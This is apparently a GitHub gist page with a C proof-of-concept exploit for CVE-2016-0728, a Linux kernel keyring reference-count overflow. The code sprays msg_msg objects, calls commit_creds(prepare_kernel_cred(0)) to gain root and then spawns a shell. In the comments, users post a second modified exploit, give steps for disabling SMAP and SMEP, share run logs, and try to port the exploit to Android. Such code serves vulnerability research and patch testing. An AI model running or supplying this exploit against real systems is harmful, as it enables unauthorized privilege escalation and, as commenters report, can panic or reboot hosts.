-
-
Save PerceptionPointTeam/18b1e86d1c0f8531ff8f to your computer and use it in GitHub Desktop.
/* $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall */ | |
/* $ ./cve_2016_072 PP_KEY */ | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <sys/types.h> | |
#include <keyutils.h> | |
#include <unistd.h> | |
#include <time.h> | |
#include <unistd.h> | |
#include <sys/ipc.h> | |
#include <sys/msg.h> | |
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); | |
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); | |
_commit_creds commit_creds; | |
_prepare_kernel_cred prepare_kernel_cred; | |
#define STRUCT_LEN (0xb8 - 0x30) | |
#define COMMIT_CREDS_ADDR (0xffffffff81094250) | |
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81094550) | |
struct key_type { | |
char * name; | |
size_t datalen; | |
void * vet_description; | |
void * preparse; | |
void * free_preparse; | |
void * instantiate; | |
void * update; | |
void * match_preparse; | |
void * match_free; | |
void * revoke; | |
void * destroy; | |
}; | |
void userspace_revoke(void * key) { | |
commit_creds(prepare_kernel_cred(0)); | |
} | |
int main(int argc, const char *argv[]) { | |
const char *keyring_name; | |
size_t i = 0; | |
unsigned long int l = 0x100000000/2; | |
key_serial_t serial = -1; | |
pid_t pid = -1; | |
struct key_type * my_key_type = NULL; | |
struct { long mtype; | |
char mtext[STRUCT_LEN]; | |
} msg = {0x4141414141414141, {0}}; | |
int msqid; | |
if (argc != 2) { | |
puts("usage: ./keys <key_name>"); | |
return 1; | |
} | |
printf("uid=%d, euid=%d\n", getuid(), geteuid()); | |
commit_creds = (_commit_creds) COMMIT_CREDS_ADDR; | |
prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR; | |
my_key_type = malloc(sizeof(*my_key_type)); | |
my_key_type->revoke = (void*)userspace_revoke; | |
memset(msg.mtext, 'A', sizeof(msg.mtext)); | |
// key->uid | |
*(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */ | |
//key->perm | |
*(int*)(&msg.mtext[64]) = 0x3f3f3f3f; | |
//key->type | |
*(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type; | |
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) { | |
perror("msgget"); | |
exit(1); | |
} | |
keyring_name = argv[1]; | |
/* Set the new session keyring before we start */ | |
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name); | |
if (serial < 0) { | |
perror("keyctl"); | |
return -1; | |
} | |
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) { | |
perror("keyctl"); | |
return -1; | |
} | |
puts("Increfing..."); | |
for (i = 1; i < 0xfffffffd; i++) { | |
if (i == (0xffffffff - l)) { | |
l = l/2; | |
sleep(5); | |
} | |
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) { | |
perror("keyctl"); | |
return -1; | |
} | |
} | |
sleep(5); | |
/* here we are going to leak the last references to overflow */ | |
for (i=0; i<5; ++i) { | |
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) { | |
perror("keyctl"); | |
return -1; | |
} | |
} | |
puts("finished increfing"); | |
puts("forking..."); | |
/* allocate msg struct in the kernel rewriting the freed keyring object */ | |
for (i=0; i<64; i++) { | |
pid = fork(); | |
if (pid == -1) { | |
perror("fork"); | |
return -1; | |
} | |
if (pid == 0) { | |
sleep(2); | |
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) { | |
perror("msgget"); | |
exit(1); | |
} | |
for (i = 0; i < 64; i++) { | |
if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) { | |
perror("msgsnd"); | |
exit(1); | |
} | |
} | |
sleep(-1); | |
exit(1); | |
} | |
} | |
puts("finished forking"); | |
sleep(5); | |
/* call userspace_revoke from kernel */ | |
puts("caling revoke..."); | |
if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) { | |
perror("keyctl_revoke"); | |
} | |
printf("uid=%d, euid=%d\n", getuid(), geteuid()); | |
execl("/bin/sh", "/bin/sh", NULL); | |
return 0; | |
} |
I don't quite understand how the refcount ends at 0:
I count 1 refcount at line 89
0xfffffffc more refcounts in the for loop at 102
and finally five more refcounts in the last loop at 114
so the refcount ends at 2 after wrapping around?
It seems that this POC fails a lot, and after running it, the key still exists via /proc/keys and the count is about 64...
I modify the loop count and some other code, then, it fails again and again, but I also get these results that runs in a virtual machine which is ubuntu 14.04 with 3.18.25 without smap & smep.
then the vm freeze.
when I run the modified exp in kali 2.0 with kernel-3.18.24(no smap no smep), the keyctl_revoke return ENOKEY,
@mah0ne, could you provide your changed code?
@itmox just a small change, I decrease the 2nd "for" loop counter, cause it seems that when refcount = 0, the next join_session_keyring will alloc a new obj with the original name, then keyctl_revoke will call the new obj ->type->revoke. but when the refcount is 0 and GC free the obj, sometime keyctl_revoke return ENOKEY,
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <sys/ipc.h>
#include <sys/msg.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
/* TODO the address */
_commit_creds commit_creds = (_commit_creds)0xffffffff81091a70;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)0xffffffff81091d70;
struct key_type {
const char *name;
size_t def_datalen;
void *vet_desc;
void *preparse;
void *free_preparse;
void *instantiate;
void *update;
void *match_preparse;
void *match_free;
void *revoke;
void *destroy;
};
/* key_revoke(struct key *key) */
void exploit(void *key)
{
commit_creds(prepare_kernel_cred(0));
}
int main(int argc, char *argv[])
{
if (argc != 2) {
fprintf(stderr, "usage: %s <key>", argv[0]);
return -1;
}
int pid;
size_t i = 0;
unsigned long l = 0x100000000/2;
key_serial_t serial = -1;
/* prepare key_type structure */
struct key_type *m_key = malloc(sizeof(struct key_type));
m_key->revoke = (void *)exploit;
/* set msg_msg structure, is 0xb8 size */
int msgid;
struct msg_tail {
long mtype;
char mtext[0xb8-0x30];
} msgp = {0x4141414141414141, {0}};
memset(msgp.mtext, 'A', sizeof(msgp.mtext));
*(int *)(&msgp.mtext[56]) = geteuid();/* key->uid */
*(unsigned long *)(&msgp.mtext[72]) = 0x9;/* key->flag */
*(int *)(&msgp.mtext[64]) = 0x3f3f3f3f;/* key->perm */
*(unsigned long *)(&msgp.mtext[80]) = (unsigned long)m_key;
if ((msgid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("[-] msgget");
return -1;
}
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, argv[1]);
if (serial < 0) {
perror("keyctl");
return -1;
}
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL |
KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
perror("keyctl");
return -1;
}
printf("uid = %d, euid = %d\n", getuid(), geteuid());
fprintf(stderr, "[+] increfs...\n");
for (i = 1; i < 0xfffffffd; i++) {
if (i == (0xffffffffUL - l)) {
sleep(5);
l = l/2;
}
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, argv[1]) < 0) {
perror("keyctl");
return -1;
}
}
sleep(5);
for (i = 0; i < 3; i++) {
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, argv[1]) < 0) {
perror("keyctl");
return -1;
}
}
fprintf(stderr, "[+] finish increfs\n");
sleep(9);
fprintf(stderr, "[+] fork...\n");
for (i = 0; i < 64; i++) {
pid = fork();
if (pid == -1) {
perror("[-] fork");
return -1;
}
if (pid == 0) {
sleep(2);
if ((msgid = msgget(IPC_PRIVATE, 0644 |
IPC_CREAT)) == -1) {
perror("[-] msgget");
exit(1);
}
for (i = 0; i < 256; i++) {
if (msgsnd(msgid, &msgp,
sizeof(msgp.mtext), 0) == -1) {
perror("[-] msgsnd");
exit(1);
}
}
sleep(-1);
exit(1);
}
}
fprintf(stderr, "exploit...\n");
sleep(5);
if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1)
perror("[+] keyctl_revoke");
printf("uid = %d, euid = %d\n", getuid(), geteuid());
execl("/bin/sh", "/bin/sh", NULL);
return 0;
@mah0ne how did you deactivate smap and smep? Thanks.
@itmox I recompile the kernel,
check SMAP in .config and comment the line "CONFIG_X86_SMAP=y" then "make oldconfig",
after the new kernel done, append "nosmep" to the boot options in file /boot/grub/grub.cfg (Ubuntu)
Don't work on "Oracle Linux Server 6.7"
Kernel: 3.8.13-118.3.1.el6uek.x86_64
[tstuser1@oracle65-1 exploit-cve-2016-0728]$ ./cve_2016_0728 PP1
uid=500, euid=500
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=500, euid=500
sh-4.1$
Is it safe to run this PoC in production environment for checking if the patch has been applied?
no. Never this sort of test on a production host. With the following in mind, I need more sane testing conditions.
I've tested twice:
- on Manjaro (arch fork) with 3.18 kernel, and it panic'd (locked the system)
- on CentOS 7 with kernel 3.10, it caused a reboot.
i use @mah0ne 's kernel number and success to exploit.
ubuntu 14.04.1 x64 then download kernel 3.18.25 and compile and install.
shutdown smap in menuconfig
shutdown smep by edit /boot/grub/grub.cfg
Deletion keyutils.h, who can give me a document.
thank you..
dimon@dimon-BAZA:~$ ./cve_2016_0728 PP1
[+] uid=1000, euid=1000
[+] Resolved commit_creds to (nil)
[+] Resolved prepare_kernel_cred to (nil)
[-] You probably need to change the address of commit_creds and prepare_kernel_cred in source
[+] Increfing...
[+] Finished increfing
[+] Forking...
[+] Finished forking
[+] Caling revoke...
uid=1000, euid=1000
$ $ whoami
dimon
$
Whats wrong ?
So I compiled the latest version and get the same result
dimon@dimon-BAZA:~$ ./cve_2016_0728 PP1
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
$ whoami
dimon
$ reboot
reboot: Need to be root
$
i got the following error in android 7.1.1 in nexus6p:
"/system/bin/sh: ./cve_2016_0728: not executable: 64-bit ELF file"
@bactis can you please publish your final exploit including the make file?
@bactis
i attached here my make file and android.mk.
currently i get the following error:
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16
make[1]: Entering directory `/home/matant/Downloads/tmp/CVE-2016-0728/version2'
[armeabi] Compile thumb : dirtycow <= cve_2016_0728.c
./cve_2016_0728.c:14:21: fatal error: sys/msg.h: No such file or directory
#include <sys/msg.h>
^
compilation terminated.
make[1]: *** [obj/local/armeabi/objs/dirtycow/cve_2016_0728.o] Error 1
make[1]: Leaving directory `/home/matant/Downloads/tmp/CVE-2016-0728/version2'
Makefile:5: recipe for target 'build' failed
make: *** [build] Error 2
@bactis
i attached here the android.mk and make file.
currently this is the error i get:
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16
make[1]: Entering directory `/home/matant/Downloads/tmp/CVE-2016-0728/version2'
[armeabi] Compile thumb : dirtycow <= cve_2016_0728.c
./cve_2016_0728.c:14:21: fatal error: sys/msg.h: No such file or directory
#include <sys/msg.h>
^
compilation terminated.
make[1]: *** [obj/local/armeabi/objs/dirtycow/cve_2016_0728.o] Error 1
make[1]: Leaving directory `/home/matant/Downloads/tmp/CVE-2016-0728/version2'
Makefile:5: recipe for target 'build' failed
make: *** [build] Error 2
Linux-4.1.12
'''$ ./cve_2016_0728 PP1
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
sh-4.3$'''
i use @mah0ne 's kernel number and success to exploit.
ubuntu 14.04.1 x64 then download kernel 3.18.25 and compile and install.
shutdown smap in menuconfig
shutdown smep by edit /boot/grub/grub.cfg
Dont Work on:
OS: ubuntu Ubuntu 14.04 trusty
Kernel: x86_64 Linux 3.13.0-76-generic
CPU: Intel Core i7-5500U CPU @ 2.4GHz